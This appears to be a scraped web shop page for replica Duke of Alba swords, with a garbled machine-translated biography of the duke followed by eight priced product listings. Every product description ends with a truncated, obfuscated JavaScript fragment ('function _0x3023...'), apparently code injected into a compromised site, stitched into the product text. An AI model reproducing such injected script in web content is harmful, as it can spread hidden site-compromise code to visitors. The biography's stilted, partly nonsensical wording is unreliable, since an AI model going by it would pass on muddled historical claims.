Duke of Alba
Fernando Alvarez of Toledo and Pimentel ( Piedrahita , October 29, 1507 - Lisbon , 11 December 1582 ), called the Grand Duke of Alba , was a noble , military, Spanish diplomat , III Duke of Alba de Tormes and Huéscar , Marquis of Coria IV , III Count of Salvatierra de Tormes , II and VIII Mr. Piedrahita Valdecorneja , Grandee of Spain and Illus...
Fernando Alvarez of Toledo and Pimentel ( Piedrahita , October 29, 1507 - Lisbon , 11 December 1582 ), called the Grand Duke of Alba , was a noble , military, Spanish diplomat , III Duke of Alba de Tormes and Huéscar , Marquis of Coria IV , III Count of Salvatierra de Tormes , II and VIII Mr. Piedrahita Valdecorneja , Grandee of Spain and Illustrious knight Order of the Golden Fleece He was the most trusted man and obedience of the kings of Spain Carlos I and his successor Philip II , both chief steward and member of its Council of State and War . Government took over the Duchy of Milan (1555-1556) , the Kingdom of Naples (1556-1558) , of the Netherlands (1567-1573) and the Kingdom of Portugal (1580 -1582 ) . Represented Philip II in his betrothal to Elizabeth of Valois , daughter of Henry II of France and Anne of Austria , daughter of Holy Roman Emperor Maximilian II . Considered by historians as the best general of his time and one of the best ever , especially distinguished himself in the day Tunisia , and in battles as Mühlberg , Jemmingen and Alcantara . Immortalized his memory trying to appease the sedition of the Netherlands , where he performed with great rigor punishing the rebels , instituting the famous Court of Troubles and repeatedly defeating the troops of William of Orange and Louis of Nassau in the early stages of the Eighty Years war . He capped his career as an old man with the succession crisis in Portugal in 1580, conquering that kingdom to Philip II . Because of his military genius Spain achieved the unification of all the kingdoms of the Iberian Peninsula and the consequent expansion of the overseas territories .
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  • 26,90 €

    Duke of Alba Sword cadet size , rustic finish ( steel tone ) and recorded with hardened stainless steel blade , forged and satiny . Length 76 cm, weight 850 grams function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    26,90 €
  • 34,71 €

    Duke of Alba Sword cadet size old silver finish and engraved stainless steel blade hardened , forged and polished . Length 76 cm, weight 850 grams function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    34,71 €
  • 36,24 €

    Duke of Alba Sword cadet size , gilded and engraved with carbon steel blade tempered , forged , polished nickel and gold plated 24 carat . Length 76 cm, weight 800 grams function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    36,24 €
  • 40,58 €

    Sword of the Duke of Alba in size, rustic finish ( steel tone ) and recorded with tempered stainless steel blade , forged and satiny . Length 103 cm, weight 1.350 kilos function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    40,58 €
  • 46,69 €

    Sword of the Duke of Alba in size rustica , recorded and fisted ribs with stainless steel blade hardened , forged and satiny . Length 103 cms , weight 1.350 kilos function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    46,69 €
  • 53,39 €

    Sword of the Duke of Alba in size, antique silver finish and engraved stainless steel blade hardened , forged and polished . Length 103 cm, weight 1.350 kilos function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    53,39 €
  • 53,55 €

    Sword of the Duke of Alba in size, gilded and engraved with carbon steel blade tempered , forged , polished nickel and gold plated 24 carat . Length 103 cm, weight 1,350 kilos function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    53,55 €
  • 98,18 €

    Sword of the Duke of Alba in size brassed , smooth ribs fisted with stainless steel blade hardened , forged and polished . Length 103 cms , weight 1.550 kilos function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

    98,18 €
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